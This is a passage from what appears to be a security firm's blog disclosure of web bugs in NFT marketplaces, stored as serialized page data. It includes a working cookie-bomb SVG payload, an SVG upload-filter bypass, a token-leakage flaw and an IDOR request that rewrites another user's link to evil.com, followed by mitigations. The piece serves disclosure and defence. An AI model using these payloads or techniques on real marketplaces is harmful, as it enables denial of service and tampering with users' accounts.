\u003C/",{"type":21,"tag":85,"props":34832,"children":34833},{"style":102},[34834],{"type":26,"value":34720},{"type":21,"tag":85,"props":34836,"children":34837},{"style":32821},[34838],{"type":26,"value":313},{"type":21,"tag":22,"props":34840,"children":34841},{},[34842,34844,34851],{"type":26,"value":34843},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":21,"tag":335,"props":34845,"children":34848},{"href":34846,"rel":34847},"https://xtingles.com/",[339],[34849],{"type":26,"value":34850},"xtingles Marketplace",{"type":26,"value":73},{"type":21,"tag":22,"props":34853,"children":34854},{},[34855],{"type":26,"value":34856},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":21,"tag":22,"props":34858,"children":34859},{},[34860],{"type":26,"value":34861},"Below, we show you how we did it.",{"type":21,"tag":22,"props":34863,"children":34864},{},[34865],{"type":26,"value":34866},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":21,"tag":22,"props":34868,"children":34869},{},[34870],{"type":21,"tag":4681,"props":34871,"children":34873},{"alt":7,"src":34872},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":21,"tag":22,"props":34875,"children":34876},{},[34877],{"type":26,"value":34878},"After changing the extension inside the file name.",{"type":21,"tag":22,"props":34880,"children":34881},{},[34882],{"type":21,"tag":4681,"props":34883,"children":34885},{"alt":7,"src":34884},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":21,"tag":10022,"props":34887,"children":34889},{"id":34888},"svgs-return",[34890],{"type":26,"value":34891},"SVGs Return",{"type":21,"tag":22,"props":34893,"children":34894},{},[34895],{"type":26,"value":34896},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":21,"tag":22,"props":34898,"children":34899},{},[34900],{"type":26,"value":34901},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":21,"tag":22,"props":34903,"children":34904},{},[34905],{"type":26,"value":34906},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":21,"tag":75,"props":34908,"children":34912},{"className":34909,"code":34910,"language":34911,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[34913],{"type":21,"tag":66,"props":34914,"children":34915},{"__ignoreMap":7},[34916,34955,34986,34993,35020,35051,35078,35086,35094,35101,35113,35188,35196,35211],{"type":21,"tag":85,"props":34917,"children":34918},{"class":87,"line":88},[34919,34923,34927,34931,34935,34939,34943,34947,34951],{"type":21,"tag":85,"props":34920,"children":34921},{"style":169},[34922],{"type":26,"value":34626},{"type":21,"tag":85,"props":34924,"children":34925},{"style":120},[34926],{"type":26,"value":34631},{"type":21,"tag":85,"props":34928,"children":34929},{"style":120},[34930],{"type":26,"value":34636},{"type":21,"tag":85,"props":34932,"children":34933},{"style":169},[34934],{"type":26,"value":741},{"type":21,"tag":85,"props":34936,"children":34937},{"style":5026},[34938],{"type":26,"value":34645},{"type":21,"tag":85,"props":34940,"children":34941},{"style":120},[34942],{"type":26,"value":34650},{"type":21,"tag":85,"props":34944,"children":34945},{"style":169},[34946],{"type":26,"value":741},{"type":21,"tag":85,"props":34948,"children":34949},{"style":5026},[34950],{"type":26,"value":34659},{"type":21,"tag":85,"props":34952,"children":34953},{"style":169},[34954],{"type":26,"value":34664},{"type":21,"tag":85,"props":34956,"children":34957},{"class":87,"line":98},[34958,34962,34966,34970,34974,34978,34982],{"type":21,"tag":85,"props":34959,"children":34960},{"style":169},[34961],{"type":26,"value":34672},{"type":21,"tag":85,"props":34963,"children":34964},{"style":120},[34965],{"type":26,"value":34677},{"type":21,"tag":85,"props":34967,"children":34968},{"style":120},[34969],{"type":26,"value":34682},{"type":21,"tag":85,"props":34971,"children":34972},{"style":120},[34973],{"type":26,"value":34687},{"type":21,"tag":85,"props":34975,"children":34976},{"style":5026},[34977],{"type":26,"value":34692},{"type":21,"tag":85,"props":34979,"children":34980},{"style":5026},[34981],{"type":26,"value":34697},{"type":21,"tag":85,"props":34983,"children":34984},{"style":169},[34985],{"type":26,"value":313},{"type":21,"tag":85,"props":34987,"children":34988},{"class":87,"line":151},[34989],{"type":21,"tag":85,"props":34990,"children":34991},{"emptyLinePlaceholder":16},[34992],{"type":26,"value":703},{"type":21,"tag":85,"props":34994,"children":34995},{"class":87,"line":160},[34996,35000,35004,35008,35012,35016],{"type":21,"tag":85,"props":34997,"children":34998},{"style":32821},[34999],{"type":26,"value":3085},{"type":21,"tag":85,"props":35001,"children":35002},{"style":102},[35003],{"type":26,"value":34720},{"type":21,"tag":85,"props":35005,"children":35006},{"style":120},[35007],{"type":26,"value":34725},{"type":21,"tag":85,"props":35009,"children":35010},{"style":169},[35011],{"type":26,"value":741},{"type":21,"tag":85,"props":35013,"children":35014},{"style":5026},[35015],{"type":26,"value":34734},{"type":21,"tag":85,"props":35017,"children":35018},{"style":32821},[35019],{"type":26,"value":313},{"type":21,"tag":85,"props":35021,"children":35022},{"class":87,"line":185},[35023,35027,35031,35035,35039,35043,35047],{"type":21,"tag":85,"props":35024,"children":35025},{"style":32821},[35026],{"type":26,"value":32840},{"type":21,"tag":85,"props":35028,"children":35029},{"style":102},[35030],{"type":26,"value":34750},{"type":21,"tag":85,"props":35032,"children":35033},{"style":32821},[35034],{"type":26,"value":10877},{"type":21,"tag":85,"props":35036,"children":35037},{"style":114},[35038],{"type":26,"value":31682},{"type":21,"tag":85,"props":35040,"children":35041},{"style":32821},[35042],{"type":26,"value":32875},{"type":21,"tag":85,"props":35044,"children":35045},{"style":102},[35046],{"type":26,"value":34750},{"type":21,"tag":85,"props":35048,"children":35049},{"style":32821},[35050],{"type":26,"value":313},{"type":21,"tag":85,"props":35052,"children":35053},{"class":87,"line":501},[35054,35058,35062,35066,35070,35074],{"type":21,"tag":85,"props":35055,"children":35056},{"style":32821},[35057],{"type":26,"value":32840},{"type":21,"tag":85,"props":35059,"children":35060},{"style":102},[35061],{"type":26,"value":32861},{"type":21,"tag":85,"props":35063,"children":35064},{"style":120},[35065],{"type":26,"value":32986},{"type":21,"tag":85,"props":35067,"children":35068},{"style":169},[35069],{"type":26,"value":741},{"type":21,"tag":85,"props":35071,"children":35072},{"style":5026},[35073],{"type":26,"value":34794},{"type":21,"tag":85,"props":35075,"children":35076},{"style":32821},[35077],{"type":26,"value":313},{"type":21,"tag":85,"props":35079,"children":35080},{"class":87,"line":697},[35081],{"type":21,"tag":85,"props":35082,"children":35083},{"style":114},[35084],{"type":26,"value":35085},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":21,"tag":85,"props":35087,"children":35088},{"class":87,"line":706},[35089],{"type":21,"tag":85,"props":35090,"children":35091},{"style":114},[35092],{"type":26,"value":35093},"   var Set_Cookie = Array(10000).join('a');\n",{"type":21,"tag":85,"props":35095,"children":35096},{"class":87,"line":1100},[35097],{"type":21,"tag":85,"props":35098,"children":35099},{"emptyLinePlaceholder":16},[35100],{"type":26,"value":703},{"type":21,"tag":85,"props":35102,"children":35103},{"class":87,"line":1339},[35104,35109],{"type":21,"tag":85,"props":35105,"children":35106},{"style":114},[35107],{"type":26,"value":35108},"   for (var i = 1; i \u003C 99; i++) ",{"type":21,"tag":85,"props":35110,"children":35111},{"style":102},[35112],{"type":26,"value":11296},{"type":21,"tag":85,"props":35114,"children":35115},{"class":87,"line":1348},[35116,35121,35125,35130,35134,35139,35144,35148,35152,35157,35161,35166,35170,35175,35179,35184],{"type":21,"tag":85,"props":35117,"children":35118},{"style":120},[35119],{"type":26,"value":35120},"    document",{"type":21,"tag":85,"props":35122,"children":35123},{"style":169},[35124],{"type":26,"value":73},{"type":21,"tag":85,"props":35126,"children":35127},{"style":120},[35128],{"type":26,"value":35129},"cookie",{"type":21,"tag":85,"props":35131,"children":35132},{"style":169},[35133],{"type":26,"value":33357},{"type":21,"tag":85,"props":35135,"children":35136},{"style":5026},[35137],{"type":26,"value":35138},"'Cookie'",{"type":21,"tag":85,"props":35140,"children":35141},{"style":169},[35142],{"type":26,"value":35143}," + ",{"type":21,"tag":85,"props":35145,"children":35146},{"style":120},[35147],{"type":26,"value":3003},{"type":21,"tag":85,"props":35149,"children":35150},{"style":169},[35151],{"type":26,"value":35143},{"type":21,"tag":85,"props":35153,"children":35154},{"style":5026},[35155],{"type":26,"value":35156},"'='",{"type":21,"tag":85,"props":35158,"children":35159},{"style":169},[35160],{"type":26,"value":35143},{"type":21,"tag":85,"props":35162,"children":35163},{"style":120},[35164],{"type":26,"value":35165},"Set_Cookie",{"type":21,"tag":85,"props":35167,"children":35168},{"style":169},[35169],{"type":26,"value":35143},{"type":21,"tag":85,"props":35171,"children":35172},{"style":5026},[35173],{"type":26,"value":35174},"';Domain='",{"type":21,"tag":85,"props":35176,"children":35177},{"style":169},[35178],{"type":26,"value":35143},{"type":21,"tag":85,"props":35180,"children":35181},{"style":120},[35182],{"type":26,"value":35183},"Take_Domain",{"type":21,"tag":85,"props":35185,"children":35186},{"style":169},[35187],{"type":26,"value":2535},{"type":21,"tag":85,"props":35189,"children":35190},{"class":87,"line":1386},[35191],{"type":21,"tag":85,"props":35192,"children":35193},{"style":102},[35194],{"type":26,"value":35195},"   }\n",{"type":21,"tag":85,"props":35197,"children":35198},{"class":87,"line":1394},[35199,35203,35207],{"type":21,"tag":85,"props":35200,"children":35201},{"style":32821},[35202],{"type":26,"value":34814},{"type":21,"tag":85,"props":35204,"children":35205},{"style":102},[35206],{"type":26,"value":32861},{"type":21,"tag":85,"props":35208,"children":35209},{"style":32821},[35210],{"type":26,"value":313},{"type":21,"tag":85,"props":35212,"children":35213},{"class":87,"line":1402},[35214,35218,35222],{"type":21,"tag":85,"props":35215,"children":35216},{"style":32821},[35217],{"type":26,"value":34830},{"type":21,"tag":85,"props":35219,"children":35220},{"style":102},[35221],{"type":26,"value":34720},{"type":21,"tag":85,"props":35223,"children":35224},{"style":32821},[35225],{"type":26,"value":313},{"type":21,"tag":22,"props":35227,"children":35228},{},[35229],{"type":26,"value":35230},"As a result, we're able to prevent the user from loading images.",{"type":21,"tag":54,"props":35232,"children":35234},{"id":35233},"authentication",[35235],{"type":26,"value":35236},"Authentication",{"type":21,"tag":22,"props":35238,"children":35239},{},[35240],{"type":21,"tag":39,"props":35241,"children":35242},{},[35243,35245,35252],{"type":26,"value":35244},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":21,"tag":335,"props":35246,"children":35249},{"href":35247,"rel":35248},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[339],[35250],{"type":26,"value":35251},"great misfortune has occured",{"type":26,"value":73},{"type":21,"tag":10022,"props":35254,"children":35256},{"id":35255},"verification-token-leakage",[35257],{"type":26,"value":35258},"Verification Token Leakage",{"type":21,"tag":22,"props":35260,"children":35261},{},[35262],{"type":26,"value":35263},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":21,"tag":22,"props":35265,"children":35266},{},[35267],{"type":26,"value":35268},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":21,"tag":22,"props":35270,"children":35271},{},[35272,35277],{"type":21,"tag":39,"props":35273,"children":35274},{},[35275],{"type":26,"value":35276},"Proof of Concept",{"type":26,"value":35278},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":21,"tag":22,"props":35280,"children":35281},{},[35282],{"type":26,"value":35283},"Here's the breakdown.",{"type":21,"tag":22,"props":35285,"children":35286},{},[35287],{"type":26,"value":35288},"First, we send the verification link to a user's email:",{"type":21,"tag":31791,"props":35290,"children":35291},{"style":31793},[35292],{"type":21,"tag":4681,"props":35293,"children":35297},{"src":35294,"alt":35295,"style":35296},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":21,"tag":22,"props":35299,"children":35300},{},[35301],{"type":26,"value":35302},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":21,"tag":10022,"props":35304,"children":35306},{"id":35305},"idor",[35307],{"type":26,"value":35308},"IDOR",{"type":21,"tag":22,"props":35310,"children":35311},{},[35312],{"type":21,"tag":39,"props":35313,"children":35314},{},[35315,35317,35324],{"type":26,"value":35316},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":21,"tag":335,"props":35318,"children":35321},{"href":35319,"rel":35320},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[339],[35322],{"type":26,"value":35323},"insect",{"type":26,"value":73},{"type":21,"tag":22,"props":35326,"children":35327},{},[35328,35330,35336],{"type":26,"value":35329},"During a security assessment of the ",{"type":21,"tag":335,"props":35331,"children":35334},{"href":35332,"rel":35333},"https://rocki.com",[339],[35335],{"type":26,"value":31729},{"type":26,"value":35337},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":21,"tag":22,"props":35339,"children":35340},{},[35341],{"type":26,"value":35342},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":21,"tag":22,"props":35344,"children":35345},{},[35346],{"type":26,"value":35347},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":21,"tag":22,"props":35349,"children":35350},{},[35351,35353,35359,35361,35366],{"type":26,"value":35352},"Here is an example of a request that modifies another user's social media link to ",{"type":21,"tag":66,"props":35354,"children":35356},{"className":35355},[],[35357],{"type":26,"value":35358},"https://evil.com/",{"type":26,"value":35360},". To achieve this, we simply changed the ",{"type":21,"tag":66,"props":35362,"children":35364},{"className":35363},[],[35365],{"type":26,"value":4253},{"type":26,"value":35367}," field value to one that belongs to another user:",{"type":21,"tag":22,"props":35369,"children":35370},{},[35371],{"type":21,"tag":4681,"props":35372,"children":35374},{"alt":7,"src":35373},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":21,"tag":22,"props":35376,"children":35377},{},[35378],{"type":26,"value":35379},"The following screenshot is the response to our request:",{"type":21,"tag":22,"props":35381,"children":35382},{},[35383],{"type":21,"tag":4681,"props":35384,"children":35386},{"alt":7,"src":35385},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":21,"tag":54,"props":35388,"children":35390},{"id":35389},"preventative-action-steps-for-marketplaces",[35391],{"type":21,"tag":873,"props":35392,"children":35393},{},[35394],{"type":26,"value":35395},"Preventative Action Steps for Marketplaces",{"type":21,"tag":22,"props":35397,"children":35398},{},[35399],{"type":26,"value":35400},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":21,"tag":22,"props":35402,"children":35403},{},[35404,35406,35412,35414,35420],{"type":26,"value":35405},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":21,"tag":66,"props":35407,"children":35409},{"className":35408},[],[35410],{"type":26,"value":35411},"innerText",{"type":26,"value":35413}," instead of ",{"type":21,"tag":66,"props":35415,"children":35417},{"className":35416},[],[35418],{"type":26,"value":35419},"innerHTML",{"type":26,"value":35421}," in client-side:",{"type":21,"tag":75,"props":35423,"children":35425},{"className":31808,"code":35424,"language":31810,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[35426],{"type":21,"tag":66,"props":35427,"children":35428},{"__ignoreMap":7},[35429],{"type":21,"tag":85,"props":35430,"children":35431},{"class":87,"line":88},[35432,35436,35440,35445,35449,35454,35458,35462,35466,35471],{"type":21,"tag":85,"props":35433,"children":35434},{"style":120},[35435],{"type":26,"value":33153},{"type":21,"tag":85,"props":35437,"children":35438},{"style":114},[35439],{"type":26,"value":73},{"type":21,"tag":85,"props":35441,"children":35442},{"style":1021},[35443],{"type":26,"value":35444},"getElementById",{"type":21,"tag":85,"props":35446,"children":35447},{"style":114},[35448],{"type":26,"value":1439},{"type":21,"tag":85,"props":35450,"children":35451},{"style":5026},[35452],{"type":26,"value":35453},"'nftCollectionName'",{"type":21,"tag":85,"props":35455,"children":35456},{"style":114},[35457],{"type":26,"value":21170},{"type":21,"tag":85,"props":35459,"children":35460},{"style":120},[35461],{"type":26,"value":35411},{"type":21,"tag":85,"props":35463,"children":35464},{"style":169},[35465],{"type":26,"value":1941},{"type":21,"tag":85,"props":35467,"children":35468},{"style":120},[35469],{"type":26,"value":35470}," nftCollectionName",{"type":21,"tag":85,"props":35472,"children":35473},{"style":114},[35474],{"type":26,"value":2535},{"type":21,"tag":22,"props":35476,"children":35477},{},[35478],{"type":26,"value":35479},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":21,"tag":75,"props":35481,"children":35483},{"className":31808,"code":35482,"language":31810,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[35484],{"type":21,"tag":66,"props":35485,"children":35486},{"__ignoreMap":7},[35487],{"type":21,"tag":85,"props":35488,"children":35489},{"class":87,"line":88},[35490,35495,35500,35504,35509,35513,35518,35522,35527],{"type":21,"tag":85,"props":35491,"children":35492},{"style":102},[35493],{"type":26,"value":35494},"var",{"type":21,"tag":85,"props":35496,"children":35497},{"style":120},[35498],{"type":26,"value":35499}," sanitizedInput",{"type":21,"tag":85,"props":35501,"children":35502},{"style":169},[35503],{"type":26,"value":1941},{"type":21,"tag":85,"props":35505,"children":35506},{"style":120},[35507],{"type":26,"value":35508}," DOMPurify",{"type":21,"tag":85,"props":35510,"children":35511},{"style":114},[35512],{"type":26,"value":73},{"type":21,"tag":85,"props":35514,"children":35515},{"style":1021},[35516],{"type":26,"value":35517},"sanitize",{"type":21,"tag":85,"props":35519,"children":35520},{"style":114},[35521],{"type":26,"value":1439},{"type":21,"tag":85,"props":35523,"children":35524},{"style":120},[35525],{"type":26,"value":35526},"userInput",{"type":21,"tag":85,"props":35528,"children":35529},{"style":114},[35530],{"type":26,"value":777},{"type":21,"tag":22,"props":35532,"children":35533},{},[35534,35536,35543],{"type":26,"value":35535},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":21,"tag":335,"props":35537,"children":35540},{"href":35538,"rel":35539},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[339],[35541],{"type":26,"value":35542},"Content-Security-Policy",{"type":26,"value":35544}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":21,"tag":22,"props":35546,"children":35547},{},[35548],{"type":26,"value":35549},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":21,"tag":22,"props":35551,"children":35552},{},[35553,35555,35562],{"type":26,"value":35554},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":21,"tag":335,"props":35556,"children":35559},{"href":35557,"rel":35558},"https://www.techtarget.com/whatis/definition/whitelist",[339],[35560],{"type":26,"value":35561},"allow-list",{"type":26,"value":35563}," :",{"type":21,"tag":75,"props":35565,"children":35567},{"className":31808,"code":35566,"language":31810,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[35568],{"type":21,"tag":66,"props":35569,"children":35570},{"__ignoreMap":7},[35571,35600,35642,35672],{"type":21,"tag":85,"props":35572,"children":35573},{"class":87,"line":88},[35574,35578,35583,35587,35591,35596],{"type":21,"tag":85,"props":35575,"children":35576},{"style":102},[35577],{"type":26,"value":10069},{"type":21,"tag":85,"props":35579,"children":35580},{"style":120},[35581],{"type":26,"value":35582}," allowDomains",{"type":21,"tag":85,"props":35584,"children":35585},{"style":169},[35586],{"type":26,"value":1941},{"type":21,"tag":85,"props":35588,"children":35589},{"style":114},[35590],{"type":26,"value":23461},{"type":21,"tag":85,"props":35592,"children":35593},{"style":5026},[35594],{"type":26,"value":35595},"'https://allowed-domain'",{"type":21,"tag":85,"props":35597,"children":35598},{"style":114},[35599],{"type":26,"value":32019},{"type":21,"tag":85,"props":35601,"children":35602},{"class":87,"line":98},[35603,35607,35611,35615,35620,35624,35629,35633,35637],{"type":21,"tag":85,"props":35604,"children":35605},{"style":2885},[35606],{"type":26,"value":15999},{"type":21,"tag":85,"props":35608,"children":35609},{"style":114},[35610],{"type":26,"value":717},{"type":21,"tag":85,"props":35612,"children":35613},{"style":169},[35614],{"type":26,"value":21049},{"type":21,"tag":85,"props":35616,"children":35617},{"style":120},[35618],{"type":26,"value":35619},"allowDomains",{"type":21,"tag":85,"props":35621,"children":35622},{"style":114},[35623],{"type":26,"value":73},{"type":21,"tag":85,"props":35625,"children":35626},{"style":1021},[35627],{"type":26,"value":35628},"includes",{"type":21,"tag":85,"props":35630,"children":35631},{"style":114},[35632],{"type":26,"value":1439},{"type":21,"tag":85,"props":35634,"children":35635},{"style":120},[35636],{"type":26,"value":33163},{"type":21,"tag":85,"props":35638,"children":35639},{"style":114},[35640],{"type":26,"value":35641},")) {\n",{"type":21,"tag":85,"props":35643,"children":35644},{"class":87,"line":151},[35645,35650,35654,35659,35663,35668],{"type":21,"tag":85,"props":35646,"children":35647},{"style":2885},[35648],{"type":26,"value":35649},"  throw",{"type":21,"tag":85,"props":35651,"children":35652},{"style":102},[35653],{"type":26,"value":32378},{"type":21,"tag":85,"props":35655,"children":35656},{"style":1021},[35657],{"type":26,"value":35658}," ApolloError",{"type":21,"tag":85,"props":35660,"children":35661},{"style":114},[35662],{"type":26,"value":1439},{"type":21,"tag":85,"props":35664,"children":35665},{"style":5026},[35666],{"type":26,"value":35667},"'invalid domain'",{"type":21,"tag":85,"props":35669,"children":35670},{"style":114},[35671],{"type":26,"value":777},{"type":21,"tag":85,"props":35673,"children":35674},{"class":87,"line":160},[35675],{"type":21,"tag":85,"props":35676,"children":35677},{"style":114},[35678],{"type":26,"value":2671},{"type":21,"tag":22,"props":35680,"children":35681},{},[35682,35684,35691,35693,35700],{"type":26,"value":35683},"As ",{"type":21,"tag":335,"props":35685,"children":35688},{"href":35686,"rel":35687},"https://graphql.org/",[339],[35689],{"type":26,"value":35690},"GraphQl",{"type":26,"value":35692}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":21,"tag":335,"props":35694,"children":35697},{"href":35695,"rel":35696},"https://graphql.org/learn/introspection/",[339],[35698],{"type":26,"value":35699},"introspection",{"type":26,"value":35701}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":21,"tag":75,"props":35703,"children":35705},{"className":31808,"code":35704,"language":31810,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[35706],{"type":21,"tag":66,"props":35707,"children":35708},{"__ignoreMap":7},[35709,35738,35750,35762,35778],{"type":21,"tag":85,"props":35710,"children":35711},{"class":87,"line":88},[35712,35716,35721,35725,35729,35734],{"type":21,"tag":85,"props":35713,"children":35714},{"style":102},[35715],{"type":26,"value":10069},{"type":21,"tag":85,"props":35717,"children":35718},{"style":120},[35719],{"type":26,"value":35720}," server",{"type":21,"tag":85,"props":35722,"children":35723},{"style":169},[35724],{"type":26,"value":1941},{"type":21,"tag":85,"props":35726,"children":35727},{"style":102},[35728],{"type":26,"value":32378},{"type":21,"tag":85,"props":35730,"children":35731},{"style":1021},[35732],{"type":26,"value":35733}," ApolloServer",{"type":21,"tag":85,"props":35735,"children":35736},{"style":114},[35737],{"type":26,"value":15559},{"type":21,"tag":85,"props":35739,"children":35740},{"class":87,"line":98},[35741,35746],{"type":21,"tag":85,"props":35742,"children":35743},{"style":120},[35744],{"type":26,"value":35745},"  typeDefs",{"type":21,"tag":85,"props":35747,"children":35748},{"style":114},[35749],{"type":26,"value":182},{"type":21,"tag":85,"props":35751,"children":35752},{"class":87,"line":151},[35753,35758],{"type":21,"tag":85,"props":35754,"children":35755},{"style":120},[35756],{"type":26,"value":35757},"  resolvers",{"type":21,"tag":85,"props":35759,"children":35760},{"style":114},[35761],{"type":26,"value":182},{"type":21,"tag":85,"props":35763,"children":35764},{"class":87,"line":160},[35765,35770,35774],{"type":21,"tag":85,"props":35766,"children":35767},{"style":120},[35768],{"type":26,"value":35769},"  introspection:",{"type":21,"tag":85,"props":35771,"children":35772},{"style":102},[35773],{"type":26,"value":3438},{"type":21,"tag":85,"props":35775,"children":35776},{"style":114},[35777],{"type":26,"value":182},{"type":21,"tag":85,"props":35779,"children":35780},{"class":87,"line":185},[35781],{"type":21,"tag":85,"props":35782,"children":35783},{"style":114},[35784],{"type":26,"value":35785},"});\n",{"type":21,"tag":22,"props":35787,"children":35788},{},[35789,35791,35798,35800,35807],{"type":26,"value":35790},"Similarly, when ",{"type":21,"tag":335,"props":35792,"children":35795},{"href":35793,"rel":35794},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[339],[35796],{"type":26,"value":35797},"batching",{"type":26,"value":35799}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":21,"tag":335,"props":35801,"children":35804},{"href":35802,"rel":35803},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[339],[35805],{"type":26,"value":35806},"denial-of-service",{"type":26,"value":35808}," (DoS) attacks.",{"type":21,"tag":22,"props":35810,"children":35811},{},[35812],{"type":26,"value":35813},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":21,"tag":22,"props":35815,"children":35816},{},[35817],{"type":26,"value":35818},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":21,"tag":35820,"props":35821,"children":35822},"h1",{"id":29375},[35823],{"type":26,"value":19373},{"type":21,"tag":22,"props":35825,"children":35826},{},[35827],{"type":26,"value":35828},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":21,"tag":22,"props":35830,"children":35831},{},[35832],{"type":26,"value":35833},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":21,"tag":54,"props":35835,"children":35837},{"id":35836},"disclaimer",[35838],{"type":26,"value":35839},"Disclaimer",{"type":21,"tag":22,"props":35841,"children":35842},{},[35843],{"type":26,"value":35844},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this 